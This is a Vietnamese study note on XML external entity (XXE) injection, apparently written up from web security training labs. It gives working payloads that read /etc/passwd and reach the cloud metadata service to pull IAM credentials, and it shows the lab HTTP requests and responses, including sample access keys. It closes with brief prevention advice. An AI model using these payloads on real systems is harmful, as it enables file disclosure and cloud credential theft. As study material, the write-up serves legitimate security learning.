XXE Injection

Lỗ hổng XXE cho phép chèn external entity trong XML.

Khai Thác XXE Để Đọc File

Để thực hiện tấn công XXE injection lấy file tùy ý từ filesystem của server, chúng ta cần chỉnh sửa XML được submit theo hai cách:

  • Thêm (hoặc chỉnh sửa) element DOCTYPE để định nghĩa external entity chứa path đến file.
  • Chỉnh sửa giá trị data trong XML được trả về trong response của ứng dụng để sử dụng external entity đã định nghĩa.

Ví dụ:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Note

Để test có hệ thống lỗ hổng XXE, chúng ta thường cần test từng data node trong XML riêng biệt, bằng cách sử dụng entity đã định nghĩa và xem liệu nó có xuất hiện trong response hay không.

Lab: Exploiting XXE Using External Entities to Retrieve Files

Request gốc dùng để check stock:

POST /product/stock HTTP/2
Host: 0a33008f0455b34680c58ff900e80059.web-security-academy.net
Cookie: session=txlK6eJYnS8cvqUFhmVDnBbgmxyyUbbL
Content-Length: 107
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0a33008f0455b34680c58ff900e80059.web-security-academy.net
Referer: https://0a33008f0455b34680c58ff900e80059.web-security-academy.net/product?productId=1
 
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Chỉnh sửa XML thành:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Phần của response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2338
 
"Invalid product ID: root:x:0:0:root:/root:/bin/bash

Khai Thác XXE Để Thực Hiện SSRF

Ngoài việc lấy data nhạy cảm, tác động chính khác của tấn công XXE là chúng có thể dùng để thực hiện server-side request forgery (SSRF). Đây là lỗ hổng có thể nghiêm trọng trong đó ứng dụng phía server có thể bị dụ gửi request HTTP đến bất kỳ URL nào mà server có thể access.

Lab: Exploiting XXE to Perform SSRF Attacks

Request gốc dùng để check stock:

POST /product/stock HTTP/2
Host: 0ac300200404dafc81e8022600530043.web-security-academy.net
Cookie: session=k8C95n5wSMNpMF9NEwAU5YuB7tHQTm9h
Content-Length: 107
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0ac300200404dafc81e8022600530043.web-security-academy.net
Referer: https://0ac300200404dafc81e8022600530043.web-security-academy.net/product?productId=4
 
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>4</productId><storeId>1</storeId></stockCheck>

Chỉnh sửa XML để thực hiện XXE injection:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 28
 
"Invalid product ID: latest"

Thay đổi URL thành http://169.254.169.254/latest, response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 31
 
"Invalid product ID: meta-data"

Tiếp tục theo dõi đến URL này:

http://169.254.169.254/latest/meta-data/iam/security-credentials/admin

Response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 552
 
"Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2024-08-31T09:07:26.473890034Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "u4Ocu2FOLKBhd9FmpKsx",
  "SecretAccessKey" : "ySkQs7qk0RUi9kgR0QqktjBIDeu1Sjd2OJquq270",
  "Token" : "hTjmJXs51mQ3UcLxTRhJrtgUlasUTFd1BuP5aAuLJZSvpKSu3RVkJLNJXBY39U3ZVolMEvdHCrZzG1xFfsI7v19UhBdqnSLS8uU1pRq4yJ7AebRFCWE4wIJ63tkYItUoibBqdG86NbDXnbvoBQidGk5RbDkEIBmivr41M9wUdystH5inACBioyjzVLo4QgPmy7WrxXeS6hgu0yFGABvL4Yzizk97m5wXf6F5HqMDRs8ulH3fHCyy9bnYOydCwwil",
  "Expiration" : "2030-08-30T09:07:26.473890034Z"
}"

Blind XXE

Finding Hidden Attack Surface for XXE Injection

Cách Ngăn Ngừa Lỗ Hổng XXE?

Nói chung, việc vô hiệu hóa resolution của external entity và vô hiệu hóa hỗ trợ cho XInclude là đủ.

Tham khảo tài liệu cho thư viện hoặc API phân tích XML của bạn để biết chi tiết về cách vô hiệu hóa các tính năng không cần thiết.

Resources